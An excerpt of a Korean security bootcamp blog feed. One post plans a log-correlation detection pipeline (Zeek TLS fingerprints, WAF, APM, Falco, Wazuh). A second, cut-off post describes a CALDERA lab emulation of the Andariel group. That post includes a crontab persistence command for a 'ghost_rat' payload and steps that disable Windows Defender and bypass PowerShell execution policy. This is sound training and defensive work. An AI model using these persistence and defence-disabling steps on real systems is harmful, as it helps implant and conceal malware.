&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 ssl.log 부분에서는 TLS를 보게 되는데요 여기서 '지문'이라는 단어가 나옵니다. TLS 지문이라는 것은 TLS 핸드세이크의 습관이라고 이해하면 됩니다. 브라우저, curl, python, walwar은 각각 사용하는 TLS 옵션 순서가 다르다고 합니다!!(사실 저도 처음 알았어요..) 그래서 하나의 공격을 위한 공격 도구는 고유한 지문을 가집니다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JA3 지문은 TLS 버전, Cipher Suites 목록 등을 문자열로 정리해서 MD5 해시값으로 정리합니다.&lt;/li&gt;
&lt;li&gt;JA4 지문은 TCP 특성, TLS 버전과 암호군 요약, 서버 응답 특성과 같은 내용이 정리되어 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 공격이 들어오면 그 공격에 대한 지문들을 '블랙리스트'와 비교하면 됩니다. TLS 지문 블랙리스트는IP 차단 목록이 아니라 실제 악성코드/C2/침해사고에서 수집된 JA3/JA4 해시들의 집합이고 오픈소스를 통해서 확인 가능합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/salesforce/ja3&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/salesforce/ja3&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766541418154&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - salesforce/ja3: JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way.&quot; data-og-description=&quot;JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way. - salesforce/ja3&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/salesforce/ja3&quot; data-og-url=&quot;https://github.com/salesforce/ja3&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/e6m5z/hyZQxPURKR/kMDn122kKs15KznnIiRFYk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/p5ekm/hyZQEaqWUQ/p14vae9LO3lkwILTCSSsTK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/salesforce/ja3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/salesforce/ja3&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/e6m5z/hyZQxPURKR/kMDn122kKs15KznnIiRFYk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/p5ekm/hyZQEaqWUQ/p14vae9LO3lkwILTCSSsTK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - salesforce/ja3: JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way. - salesforce/ja3&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://abuse.ch/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://abuse.ch/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766541430600&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;abuse.ch | Fighting malware and botnets&quot; data-og-description=&quot;OUR PLATFORMS abuse.ch maintains six public platforms, all supported by our partnership with Spamhaus, to aid cybersecurity researchers and practitioners in their day-to-day roles. Varying in focus areas, all platforms are designed to help identify, track,&quot; data-og-host=&quot;abuse.ch&quot; data-og-source-url=&quot;https://abuse.ch/&quot; data-og-url=&quot;https://abuse.ch/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/tr6P9/hyZPZN1Bbt/3xVYvcsoSu8oUa8sqscU4K/img.png?width=400&amp;amp;height=399&amp;amp;face=0_0_400_399,https://scrap.kakaocdn.net/dn/mXY34/hyZPWcE2DM/1H46NDPKxLVwipJcNkKElk/img.png?width=300&amp;amp;height=300&amp;amp;face=0_0_300_300&quot;&gt;&lt;a href=&quot;https://abuse.ch/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://abuse.ch/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/tr6P9/hyZPZN1Bbt/3xVYvcsoSu8oUa8sqscU4K/img.png?width=400&amp;amp;height=399&amp;amp;face=0_0_400_399,https://scrap.kakaocdn.net/dn/mXY34/hyZPWcE2DM/1H46NDPKxLVwipJcNkKElk/img.png?width=300&amp;amp;height=300&amp;amp;face=0_0_300_300');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;abuse.ch | Fighting malware and botnets&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;OUR PLATFORMS abuse.ch maintains six public platforms, all supported by our partnership with Spamhaus, to aid cybersecurity researchers and practitioners in their day-to-day roles. Varying in focus areas, all platforms are designed to help identify, track,&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;abuse.ch&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(전 두개의 예시를 올려두지만 Github 찾아보면 꽤나 많은 것 같습니다. 현업에서는 CrowdStrike, Palo Alto Networks, Microsoft 등을 활용한다고 합니다. 사실 현재 프로젝트로는 &quot;직접 만드는&quot; 내부 블랙리스트를 따로 만들어서 사용할 가능성이 제일 높을 것 같습니다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이 블랙리스트와 비교하여 일치하면 이 통신은 알려진 공격 도구의 특성을 가진다고 고려하고 이후 Endpoint로그-프로세스 실행-파일 생성 으로 이어지는 전체 로그를 보면 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2단계 : WAF&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;- Modsecurity의 audit.log 추출로 웹 계층에서 필터링 과정으로 여기서 봐야할 부분은 Trace-ID와 Payload 패턴입니다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Trace-ID (X-Request_ID) : HTTP 헤더에 삽입된 고유 ID&lt;/li&gt;
&lt;li&gt;Payload 패턴 : 역직렬화 공격의 경우, Base64로 인코딩된 객체 문자열을 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 WAF에서 수집한 이 두가지는 뭐와 비교를 해야 상관분석이 되는걸까요? 먼저 첫번째는 방금 1단계의 5-Tuple과 WAF 로그의 IP/Port를 매칭해야하비다. 이로써 방금 Zeek에서 잡힌 수상한 TLS 지문을 가진 세션이 WAF에서 RCE 패턴을 보냈다는 것을 확인할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 지금 시점에서는 이 1,2 단계가 아직 구현이 덜 된 상태입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계 : Trigger&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Elastick APM을 활용해서 애플리케이션 내부 동작을 로그로 출력할 수 있습니다. 여기서 볼 부분은 Stack Trace와 Context ID 입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Stack Trace : 역직렬화 함수 (이 부분은 각 언어마다 달라지는데 React2Shell의 경우, JSON.parse 함수입니다.) 를 호출 여부&lt;/li&gt;
&lt;li&gt;Context ID : WAF에서 넘어온 Trace-ID를 그대로 물고 들어갑니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 두개를 가지고 일단 Stack Trace 부분에서 역직렬화 함수를 호출하였는지 확인하고, Trace-ID 매칭을 통해서 WAF로그의 ID와 APM의 ID가 일치하는지 확인해야합니다. 이로써 밖에서 들어온 악성 페이로드가 실제로 내부 코드의 위험한 함수까지 도달했다는 것을 증명 가능합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분을 구현하기 위해 먼저 Elastic APM Agent를 각 PC 에 설치하고 미리 구현해둔 Ubuntu의 node.js 와 연결해주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4단계 : Execution&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이 단계에서는 falco를 이용해서 부모-자식 프로세스 중에 생긴 오류를 출력합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 부모-자식 프로세스는 Reverse Shell이나 RCE 공격을 탐지하는데 중요한 부분입니다. 먼저 일반적인 서비스 환경에서 node는 자바스크립트 코드를 실행하고 DB와 통신하는 역할을 합니다. 만약 공격자가 CVE를 통해 시스템 권한을 획득하려고 할 때, 서버 내부에서 쉘을 띄워 원격지로 연결을 시도할 것 입니다. 쉽게 말하면 CVE를 통해 뚫고 지나가서 victim의 터미널에 들어가서 무언가를 할 텐데 그럴려면 victim의 터미널에서 어떠한 명령어를치기 위해 쉘이 필요한 것입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;syscall.execve : 새로운 프로세스가 실행되는 시점의 시스템 콜 출력&lt;/li&gt;
&lt;li&gt;proc.pname vs pronc.name : 부모프로세스 이름(pname)과 자식 프로세스 이름(name)의 관계를 확인&lt;/li&gt;
&lt;li&gt;proc.cmdline : 실행된 명령어의 전체 argument를 확인하여 공격자가 수행한 구체적인 행위(리버스쉘 연결, 파일 다운로드 등)을 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 로그에서 위 3가지를 확인하고 상관분석때는 APM에서 비정상적인 함수를 호출했던 PID와 Falco에서 잡은 proc.pid가 동일한지 증명합니다. 그리고 쉘이 실행된 이후 만약 외부로 나가는 연결이 있다면 zeek의 5-tuple 포트 번호와도 대조합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5단계 : Response &amp;amp; Correlation&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞선 4단계를 통해 파편화된 4개 단계의 로그를 하나의 타임라인으로 병합하여 가시화하고 확정된 위협에 대해 자동화된 대응을 수행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Wazuh Manager를 통해 확인할 부분은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;timestamp : 각 단계 로그의 발생 시간을 기준으로 공격의 흐름을 재구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rule level : wazuh의 규칙 엔진을 통해 로그의 심각도 분류&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;active response log : 침해 확정시 실행된 자동 대응 결과 기록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 이 부분은 아직 wazuh를 어떻게 잘 활용해야할지 구성이 덜 되었기 때문에 추후에 좀 더 고민해볼 예정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;마치며&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번주는 이렇게 주제 고도화 및 확정 과정 + 상관분석을 어떻게 할것인지..정리를 해보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 추후에는 제가 설정한 기본 인프라 구성 부분(zeek, arkime, APM, React2shell 구축) 정리와 본격적으로 react2shell 공격 시나리오와 서버 분석, 그리고 그에 따른 룰설정으로 쭉 이어질 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흠 일단 제가 부족한 탓도 있겠지만 뭔가..아직까지도 아주 전체적인 흐름이 머릿속에 박혀있는 수준은 안된 것 같다는 생각이 듭니다. 다 처음해보는 것들이라서 뭔가 하면서 직접 눈으로 보면서 알아가고 흐름을 이해하고 싶은 마음 반, 전체 프로세스를 아주 상세히 정하고 가고 싶은 마음 반입니다. 뭐가 맞을지는.. 잘 모르겠지만 저 사이의 수준(?)으로 진행되지 않을까 싶습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번주에 뭐 크게 있었는 트러블 슈팅은 아직 진행중인 내용이긴 한데 상관분석에 대해서 확정을 못한 부분입니다. 저도 저의 선생님 gemini랑 열심히 얘기해서 정한거긴 한데 할 일도 많고 해서 각 팀원들이 하나를 같이 고민하기보다는 서로의 역할을 정해서 의견을 구하는 수준이라 각자 상관분석을 어떻게 할지 각자 조사해보고 토의할 시간이 없었습니다. 그래서 어쩌다가 제가 정한 것 기준으로 가게 될 것 같은데 틀린 방향일까봐 좀 두려운 마음이 큽니다. 하지만 실제로 프로젝트를 진행해본다면 더 자세히 알 수 있지 않을까 싶습니다. 다음주에는 빨리 많은거를 좀 만져보고 실행시켜보고 분석하고 저 스스로도 좀 흐름이 많이 잡히길 빕니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/29</guid>
      <comments>https://yejiamoe.tistory.com/29#entry29comment</comments>
      <pubDate>Mon, 5 Jan 2026 16:16:23 +0900</pubDate>
    </item>
    <item>
      <title>CALDERA 공격 시나리오: Andariel (Linux Web &amp;rarr; Windows PC)</title>
      <link>https://yejiamoe.tistory.com/28</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;793&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oFvN0/dJMcaaRn9af/ElTHi7Y56k4wonQMQg7Nb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oFvN0/dJMcaaRn9af/ElTHi7Y56k4wonQMQg7Nb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oFvN0/dJMcaaRn9af/ElTHi7Y56k4wonQMQg7Nb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoFvN0%2FdJMcaaRn9af%2FElTHi7Y56k4wonQMQg7Nb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;577&quot; data-origin-width=&quot;793&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size26&quot;&gt;1.  ️ 트러블슈팅 및 환경 구성 (Troubleshooting)&lt;/h2&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;공격 시나리오 수행 전 발생한 문제와 해결 방법입니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;8&quot; data-ke-size=&quot;size23&quot;&gt;  Issue 1: Payload 다운로드 실패 (HTML 반환)&lt;/h3&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;9,0,1&quot;&gt;&lt;span data-path-to-node=&quot;9,0,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;현상:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/file/ghost_rat.sh&lt;/span&gt;&lt;span&gt; 요청 시 쉘 스크립트 파일이 아닌 Magma UI의 HTML 코드가 다운로드됨&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span data-path-to-node=&quot;9,1,0,0&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; CALDERA Docker 컨테이너는 /usr/src/app/data/payloads/ 경로만 정적 파일로 서빙함. &lt;/span&gt;&lt;span data-path-to-node=&quot;9,1,0,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,1,0,2&quot;&gt;&lt;span&gt;사용자가 임의의 경로에 넣은 파일은 인식되지 않음&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,1,0,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,1,0,4&quot;&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;9,2,1&quot;&gt;&lt;span data-path-to-node=&quot;9,2,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;해결(Solution):&lt;/span&gt;&lt;/b&gt;&lt;span&gt; Docker 실행 시 호스트의 payloads 폴더를 컨테이너 내부 데이터 경로로 마운트해야 함&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,2,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,2,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwik1snDqsORAxUAAAAAHQAAAAAQkQI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;# 올바른 Docker 실행 명령어
docker run -it -p 8888:8888 \
-v $(pwd)/payloads:/usr/src/app/data/payloads \
caldera --insecure
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;  Issue 2: Persistence 권한 거부 (Linux)&lt;/h3&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;12,0,1&quot;&gt;&lt;span data-path-to-node=&quot;12,0,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;현상:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/spool/cron/crontabs/&lt;/span&gt;&lt;span&gt; 경로에 쓰기 시도 시 &lt;/span&gt;&lt;span&gt;Permission denied&lt;/span&gt;&lt;span&gt; 발생&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li data-path-to-node=&quot;12,1,1&quot;&gt;&lt;span data-path-to-node=&quot;12,1,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;해결(Solution):&lt;/span&gt;&lt;/b&gt;&lt;span&gt; Root 권한이 필요한 시스템 Cron 대신, &lt;/span&gt;&lt;b&gt;&lt;span&gt;사용자(User) Cron&lt;/span&gt;&lt;/b&gt;&lt;span&gt; 등록 방식으로 Ability 수정&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,1,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwik1snDqsORAxUAAAAAHQAAAAAQkgI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# 수정된 Ability Command
echo &quot;***** /tmp/ghost_rat&quot; &amp;gt; /tmp/mycron
crontab /tmp/mycron
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size23&quot;&gt;✅ 참고: &quot;Beacon (HTTP): ALIVE&quot; 로그의 의미&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span data-path-to-node=&quot;15,0,0,0&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,0,1&quot;&gt;&lt;span&gt;Agent가 C2 서버로부터 명령을 정상적으로 수신하고, 실행 결과를 응답했다는 의미로 공격이 성공적으로 진행 중임을 나타냄&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,0,2&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,0,3&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;475&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvbmWz/dJMcaiokYiX/wnhSOG2K3DC1Y0rWlfxYdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvbmWz/dJMcaiokYiX/wnhSOG2K3DC1Y0rWlfxYdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvbmWz/dJMcaiokYiX/wnhSOG2K3DC1Y0rWlfxYdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvbmWz%2FdJMcaiokYiX%2FwnhSOG2K3DC1Y0rWlfxYdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;835&quot; height=&quot;475&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;475&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br5Ql8/dJMcacVXLxu/ZccrTJgXN7Ao5zOmWKojkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br5Ql8/dJMcacVXLxu/ZccrTJgXN7Ao5zOmWKojkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br5Ql8/dJMcacVXLxu/ZccrTJgXN7Ao5zOmWKojkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr5Ql8%2FdJMcacVXLxu%2FZccrTJgXN7Ao5zOmWKojkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;468&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-path-to-node=&quot;16&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;17&quot; data-ke-size=&quot;size26&quot;&gt;2. ⚙️ 타겟 시스템 필수 설정 (Prerequisites)&lt;/h2&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size16&quot;&gt;Lateral Movement 성공을 위해 Windows 및 Linux 타겟에서 반드시 선행되어야 하는 설정입니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;19&quot; data-ke-size=&quot;size23&quot;&gt; ️ Windows Target 설정 (방어 무력화)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;20,0,2&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실시간 보호, 클라우드 전송 보호, 자동 샘플 전송, &lt;b&gt;변조 보호(Tamper Protection)&lt;/b&gt; 모두 끔으로 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;20&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: none;&quot; data-path-to-node=&quot;20,0,1&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;20,1,2&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;관리자 권한 PowerShell에서 실행:&lt;span data-path-to-node=&quot;20,0,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;Windows Defender 완전 비활성화&lt;/span&gt;&lt;/b&gt;&lt;span&gt; (필수)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwik1snDqsORAxUAAAAAHQAAAAAQkwI&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;20,1,1&quot;&gt;&lt;span data-path-to-node=&quot;20,1,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;PowerShell Execution Policy 변경&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;20,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;
